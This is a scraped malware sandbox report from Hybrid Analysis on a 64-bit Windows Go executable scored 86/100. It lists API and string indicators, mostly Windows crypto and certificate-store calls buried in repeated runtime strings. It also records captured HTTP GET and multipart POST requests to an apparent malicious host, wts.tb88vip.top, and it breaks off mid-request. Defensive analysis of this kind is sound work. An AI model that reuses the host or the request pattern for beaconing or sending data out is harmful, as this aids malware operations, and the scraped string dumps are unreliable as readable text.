26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 46:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4e2,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_70% Sample 06f915bc056a… — Score 86/100 — Hybrid Analysis","description":"Malicious verdict for sample 06f915bc056a…. Malware family: Win/malicious_confidence_70%. Threat score 86/100. 2/27 AV engines flagged this file. 2 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949","keywords":["Malicious","Win/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949"],"about":{"@type":"SoftwareApplication","name":"SecuriteInfo.com.Win64.Evo-gen.39297812.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949","additionalType":"Malicious sample"},"threatScore":86,"malwareFamily":"Win/malicious_confidence_70%","antivirusDetections":{"malicious":2,"total":27},"behavioralIndicators":{"malicious":2,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T4f6,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin")28:T40b,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin")29:Taa0,"status= pluginpath= : unknown pc called from runtime: pid=3814697265625crypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseSto" (Indicator: "CertOpenStore"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found api reference "]level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625crypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseSto" (Indicator: "CryptGenRandom"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found api reference "in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeup298023223876953125reflect.Value.Elemreflect.Value.Typex509negativeserialGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed file%dSUM[%d..%d]%dbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectreflect.Value.IsNilreflect.Value.FloatstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not fo" (Indicator: "CryptReleaseContext"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closed14901161193847656257450580596923828125reflect.Value.Bytesreflect.Value.Fieldreflect.Value.IndexembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=" (Indicator: "CertOpenSystemStoreW"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closed14901161193847656257450580596923828125reflect.Value.Bytesreflect.Value.Fieldreflect.Value.IndexembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=" (Indicator: "CryptAcquireContextW"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found api reference "device or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWbytes.Buffer: too largeindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall23283064365386962890625reflect.Value.Interfacereflect.Value.NumMethod" missing" (Indicator: "CertGetCertificateChain"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin"), Found api reference ": connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace.seqlock116415321826934814453125582076609134674072265625invalid pattern syntax:" (Indicator: "CertFreeCertificateChain"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin"), Found api reference ".invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory1455191522836685180664062572759576141834259033203125unknown ABI parameter kindRtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG" (Indicator: "CertEnumCertificatesInStore"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin"), Found api reference ".invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory1455191522836685180664062572759576141834259033203125unknown ABI parameter kindRtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG" (Indicator: "CertFreeCertificateContext"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin"), Found api reference "]file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignalruntime: casgstatus: oldval=gcstopm: negative nmspinningfindrunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: alloc too large18189894035458564758300781259094947017729282379150390625GetFileInformationByHandleExabi.NewName: name too long: operation already in progressno XENIX semaphores availabletoo many open" (Indicator: "CertCreateCertificateContext"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin"), Found api reference ": resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin"), Found api reference ": resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin"), Found api reference "]level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at: not pointer != sweepgen MB globals work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625crypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseSt" (Indicator: "CertOpenStore"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found api reference "]level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625crypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseSt" (Indicator: "CryptGenRandom"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found api reference "in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeup298023223876953125reflect.Value.Elemreflect.Value.Typex509negativeserialGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed file%dSUM[%d..%d]%dbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectreflect.Value.IsNilreflect.Value.FloatstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not f" (Indicator: "CryptReleaseContext"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closed14901161193847656257450580596923828125reflect.Value.Bytesreflect.Value.Fieldreflect.Value.IndexembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio" (Indicator: "CertOpenSystemStoreW"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closed14901161193847656257450580596923828125reflect.Value.Bytesreflect.Value.Fieldreflect.Value.IndexembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio" (Indicator: "CryptAcquireContextW"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found api reference ".invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory1455191522836685180664062572759576141834259033203125unknown ABI parameter kindRtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of range" (Indicator: "CertEnumCertificatesInStore"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found api reference ".invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory1455191522836685180664062572759576141834259033203125unknown ABI parameter kindRtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of range" (Indicator: "CertFreeCertificateContext"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin") Found api reference "]file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignalruntime: casgstatus: oldval=gcstopm: negative nmspinningfindrunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: alloc too large18189894035458564758300781259094947017729282379150390625GetFileInformationByHandleExabi.NewName: name too long: operation already in progressno XENIX semaphores availabletoo many ope" (Indicator: "CertCreateCertificateContext"; File: "06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin")2c:T1630,Contains base64 string in header "Keep" in header "GET / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) Gecko/20100101 Firefox/156.9Host: wts.tb88vip.top" Contains base64 string in header "Encoding" in header "GET / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) Gecko/20100101 Firefox/156.9Host: wts.tb88vip.top" Contains base64 string in header "gzip" in header "GET / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) Gecko/20100101 Firefox/156.9Host: wts.tb88vip.top" Contains base64 string in header "Language" in header "GET / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) Gecko/20100101 Firefox/156.9Host: wts.tb88vip.top" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----d0f38c0a0f061655ca89Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) Gecko/20100101 Firefox/156.9Content-Length: 345Host: wts.tb88vip.top" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----d0f38c0a0f061655ca89Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) Gecko/20100101 Firefox/156.9Content-Length: 345Host: wts.tb88vip.top" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----d0f38c0a0f061655ca89Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) Gecko/20100101 Firefox/156.9Content-Length: 345Host: wts.tb88vip.top" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----d0f38c0a0f061655ca89Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) Gecko/20100101 Firefox/156.9Content-Length: 345Host: wts.tb88vip.top" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----d0f38c0a0f061655ca89Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) Gecko/20100101 Firefox/156.9Content-Length: 345Host: wts.tb88vip.top" Contains base64 string in header "Encoding" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----d0f38c0a0f061655ca89Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) Gecko/20100101 Firefox/156.9Content-Length: 345Host: wts.tb88vip.top" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----d0f38c0a0f061655ca89Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) Gecko/20100101 Firefox/156.9Content-Length: 345Host: wts.tb88vip.top" Contains base64 string in header "Language" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----d0f38c0a0f061655ca89Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) Gecko/20100101 Firefox/156.9Content-Length: 345Host: wts.tb88vip.top" Contains base64 string in header "9Content" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----d0f38c0a0f061655ca89Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) 